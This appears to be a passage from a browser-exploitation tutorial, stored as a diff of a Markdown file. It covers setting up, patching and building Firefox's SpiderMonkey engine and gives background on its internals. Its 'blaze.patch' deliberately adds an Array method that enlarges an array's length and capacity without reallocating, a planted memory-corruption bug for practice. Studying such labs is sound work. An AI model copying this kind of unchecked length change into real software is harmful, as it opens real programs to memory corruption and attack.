+* A 64-bit debug build of the JavaScript shell along with private symbol information in [js-asserts.7z](https://github.com/0vercl0k/blazefox/releases/download/1/js-asserts.7z), and a release build in [js-release.7z](https://github.com/0vercl0k/blazefox/releases/download/1/js-release.7z),
+* The scripts I used to build the **B**ring **Y**our **O**wn **P**ayload technique in [scripts](https://github.com/0vercl0k/blazefox/tree/master/scripts),
+* The sources that have been used to build `js-release` so that you can do source-level debugging in WinDbg in [src/js](https://github.com/0vercl0k/blazefox/tree/master/src/js),
+* A 64-bit build of the Firefox binaries along with private symbol information for `xul.dll` in [ff-bin.7z.001](https://github.com/0vercl0k/blazefox/releases/download/1/ff-bin.7z.001) and [ff-bin.7z.002](https://github.com/0vercl0k/blazefox/releases/download/1/ff-bin.7z.002).
+
+All right, let's buckle up and hit the road now!
+
+
+
+[TOC]
+
+# Setting it up
+
+Naturally we are going to have to set-up a debugging environment. I would suggest to create a virtual machine for this as you are going to have to install a bunch of stuff you might not want to install on your personal machine.
+
+First things first, let's get the code. Mozilla uses mercurial for development, but they also maintain a read-only GIT mirror. I recommend to just shallow clone this repository to make it faster (the repository is about ~420MB):
+
+```text
+>git clone --depth 1 https://github.com/mozilla/gecko-dev.git
+Cloning into 'gecko-dev'...
+remote: Enumerating objects: 264314, done.
+remote: Counting objects: 100% (264314/264314), done.
+remote: Compressing objects: 100% (211568/211568), done.
+remote: Total 264314 (delta 79982), reused 140844 (delta 44268), pack-reused 0 receiving objects: 100% (264314/26431
+Receiving objects: 100% (264314/264314), 418.27 MiB | 981.00 KiB/s, done.
+Resolving deltas: 100% (79982/79982), done.
+Checking out files: 100% (261054/261054), done.
+```
+
+Sweet. For now we are interested only in building the JavaScript Shell interpreter that is part of the SpiderMonkey tree. `js.exe` is a simple command-line utility that can run JavaScript code. It is much faster to compile but also more importantly easier to attack and reason about. We already are about to be dropped in a sea of code so let's focus on something smaller first.
+
+Before compiling though, grab the [blaze.patch](https://github.com/0vercl0k/blazefox/blob/master/blaze.patch) file (no need to understand it just yet):
+
+```diff
+diff -r ee6283795f41 js/src/builtin/Array.cpp
+--- a/js/src/builtin/Array.cpp Sat Apr 07 00:55:15 2018 +0300
++++ b/js/src/builtin/Array.cpp Sun Apr 08 00:01:23 2018 +0000
+@@ -192,6 +192,20 @@
+ return ToLength(cx, value, lengthp);
+ }
+
++static MOZ_ALWAYS_INLINE bool
++BlazeSetLengthProperty(JSContext* cx, HandleObject obj, uint64_t length)
++{
++ if (obj->is()) {
++ obj->as().setLengthInt32(length);
++ obj->as().setCapacityInt32(length);
++ obj->as().setInitializedLengthInt32(length);
++ return true;
++ }
++ return false;
++}
++
++
++
+ /*
+ * Determine if the id represents an array index.
+ *
+@@ -1578,6 +1592,23 @@
+ return DenseElementResult::Success;
+ }
+
++bool js::array_blaze(JSContext* cx, unsigned argc, Value* vp)
++{
++ CallArgs args = CallArgsFromVp(argc, vp);
++ RootedObject obj(cx, ToObject(cx, args.thisv()));
++ if (!obj)
++ return false;
++
++ if (!BlazeSetLengthProperty(cx, obj, 420))
++ return false;
++
++ //uint64_t l = obj.as().setLength(cx, 420);
++
++ args.rval().setObject(*obj);
++ return true;
++}
++
++
+ // ES2017 draft rev 1b0184bc17fc09a8ddcf4aeec9b6d9fcac4eafce
+ // 22.1.3.21 Array.prototype.reverse ( )
+ bool
+@@ -3511,6 +3542,8 @@
+ JS_FN("unshift", array_unshift, 1,0),
+ JS_FNINFO("splice", array_splice, &array_splice_info, 2,0),
+
++ JS_FN("blaze", array_blaze, 0,0),
++
+ /* Pythonic sequence methods. */
+ JS_SELF_HOSTED_FN("concat", "ArrayConcat", 1,0),
+ JS_INLINABLE_FN("slice", array_slice, 2,0, ArraySlice),
+diff -r ee6283795f41 js/src/builtin/Array.h
+--- a/js/src/builtin/Array.h Sat Apr 07 00:55:15 2018 +0300
++++ b/js/src/builtin/Array.h Sun Apr 08 00:01:23 2018 +0000
+@@ -166,6 +166,9 @@
+ array_reverse(JSContext* cx, unsigned argc, js::Value* vp);
+
+ extern bool
++array_blaze(JSContext* cx, unsigned argc, js::Value* vp);
++
++extern bool
+ array_splice(JSContext* cx, unsigned argc, js::Value* vp);
+
+ extern const JSJitInfo array_splice_info;
+diff -r ee6283795f41 js/src/vm/ArrayObject.h
+--- a/js/src/vm/ArrayObject.h Sat Apr 07 00:55:15 2018 +0300
++++ b/js/src/vm/ArrayObject.h Sun Apr 08 00:01:23 2018 +0000
+@@ -60,6 +60,14 @@
+ getElementsHeader()->length = length;
+ }
+
++ void setCapacityInt32(uint32_t length) {
++ getElementsHeader()->capacity = length;
++ }
++
++ void setInitializedLengthInt32(uint32_t length) {
++ getElementsHeader()->initializedLength = length;
++ }
++
+ // Make an array object with the specified initial state.
+ static inline ArrayObject*
+ createArray(JSContext* cx,
+```
+
+Apply the patch like in the below and just double-check it has been properly applied (you should not run into any conflicts):
+
+```text
+>cd gecko-dev\js
+
+gecko-dev\js>git apply c:\work\codes\blazefox\blaze.patch
+
+gecko-dev\js>git diff
+diff --git a/js/src/builtin/Array.cpp b/js/src/builtin/Array.cpp
+index 1655adbf58..e2ee96dd5e 100644
+--- a/js/src/builtin/Array.cpp
++++ b/js/src/builtin/Array.cpp
+@@ -202,6 +202,20 @@ GetLengthProperty(JSContext* cx, HandleObject obj, uint64_t* lengthp)
+ return ToLength(cx, value, lengthp);
+ }
+
++static MOZ_ALWAYS_INLINE bool
++BlazeSetLengthProperty(JSContext* cx, HandleObject obj, uint64_t length)
++{
++ if (obj->is()) {
++ obj->as().setLengthInt32(length);
++ obj->as().setCapacityInt32(length);
++ obj->as().setInitializedLengthInt32(length);
++ return true;
++ }
++ return false;
++}
+```
+
+At this point you can install [Mozilla-Build](https://wiki.mozilla.org/MozillaBuild) which is a meta-installer that provides you every tools necessary to do development (toolchain, various scripts, etc.) on Mozilla. The latest available version at the time of writing is the version 3.2 which is available here: [MozillaBuildSetup-3.2.exe](https://ftp.mozilla.org/pub/mozilla/libraries/win32/MozillaBuildSetup-3.2.exe).
+
+Once this is installed, start-up a Mozilla shell by running the `start-shell.bat` batch file. Go to the location of your clone in `js\src` folder and type the following to configure an x64 debug build of `js.exe`:
+
+```bash
+over@compiler /d/gecko-dev/js/src$ autoconf-2.13
+
+over@compiler /d/gecko-dev/js/src$ mkdir build.asserts
+
+over@compiler /d/gecko-dev/js/src$ cd build.asserts
+
+over@compiler /d/gecko-dev/js/src/build.asserts$ ../configure --host=x86_64-pc-mingw32 --target=x86_64-pc-mingw32 --enable-debug
+```
+
+Kick off the compilation with `mozmake`:
+
+```bash
+over@compiler /d/gecko-dev/js/src/build.asserts$ mozmake -j2
+```
+
+Then, you should be able to toss `./js/src/js.exe`, `./mozglue/build/mozglue.dll` and `./config/external/nspr/pr/nspr4.dll` in a directory and voilà:
+
+```bash
+over@compiler ~/mozilla-central/js/src/build.asserts/js/src
+$ js.exe --version
+JavaScript-C64.0a1
+```
+
+For an optimized build you can invoke `configure` this way:
+
+```bash
+over@compiler /d/gecko-dev/js/src/build.opt$ ../configure --host=x86_64-pc-mingw32 --target=x86_64-pc-mingw32 --disable-debug --enable-optimize
+```
+
+# SpiderMonkey
+
+## Background
+
+SpiderMonkey is the name of Mozilla's JavaScript engine, its source code is available on Github via the [gecko-dev](https://github.com/mozilla/gecko-dev) repository (under the `js` directory). SpiderMonkey is used by Firefox and more precisely by Gecko, its web-engine. You can even embed the interpreter in your own third-party applications if you fancy it. The project is fairly big, and here are some rough stats about it:
+
+ * ~3k Classes,
+ * ~576k Lines of code,
+ * ~1.2k Files,
+ * ~48k Functions.
+
+As you can see on the tree map view below (the bigger, the more lines; the darker the blue, the higher the cyclomatic complexity) the engine is basically split in six big parts: the JIT compilers engine called Baseline and [IonMonkey](https://wiki.mozilla.org/IonMonkey) in the `jit` directory, the front-end in the `frontend` directory, the JavaScript virtual-machine in the `vm` directory, a bunch of builtins in the `builtin` directory, a garbage collector in the `gc` directory, and... WebAssembly in the `wasm` directory.
+
+
+
+Most of the stuff I have looked at for now live in `vm`, `builtin` and `gc` folders. Another good thing going on for us is that there is also a fair amount of public documentation about SpiderMoneky, its internals, design, etc.
+
+Here are a few links that I found interesting (some might be out of date, but at this point we are just trying to digest every bit of public information we can find) if you would like to get even more background before going further:
+
+ - [SpiderMonkeys](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey)
+ - [SpiderMonkey Internals](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/Internals)
+ - [JSAPI](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/JSAPI_User_Guide)
+ - [GC Rooting guide](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/GC_Rooting_Guide)
+ - [IonMonkey JIT](https://wiki.mozilla.org/IonMonkey/Overview)
+ - [The Performance Of Open Source Software: MemShrink](http://www.aosabook.org/en/posa/memshrink.html)
+
+## JS::Values and JSObjects
+The first thing you might be curious about is how native JavaScript object are laid out in memory. Let's create a small script file with a few different native types and dump them directly from memory (do not forget to load the symbols). Before doing that though, a useful trick to know is to set a breakpoint to a function that is rarely called, like `Math.atan2` for example. As you can pass arbitrary JavaScript objects to the function, it is then very easy to retrieve its address from inside the debugger. You can also use `objectAddress` which is only accessible in the shell but is very useful at times.
+
+```text
+js> a = {}
+({})
+
+js> objectAddress(a)
+"000002576F8801A0"
+```
+
+Another pretty useful method is `dumpObject` but this one is only available from a debug build of the shell:
+
+```text
+js> a = {doare : 1}
+({doare:1})
+
+js> dumpObject(a)
+object 20003e8e160
+ global 20003e8d060 [global]
+ class 7ff624d94218 Object
+ lazy group
+ flags:
+ proto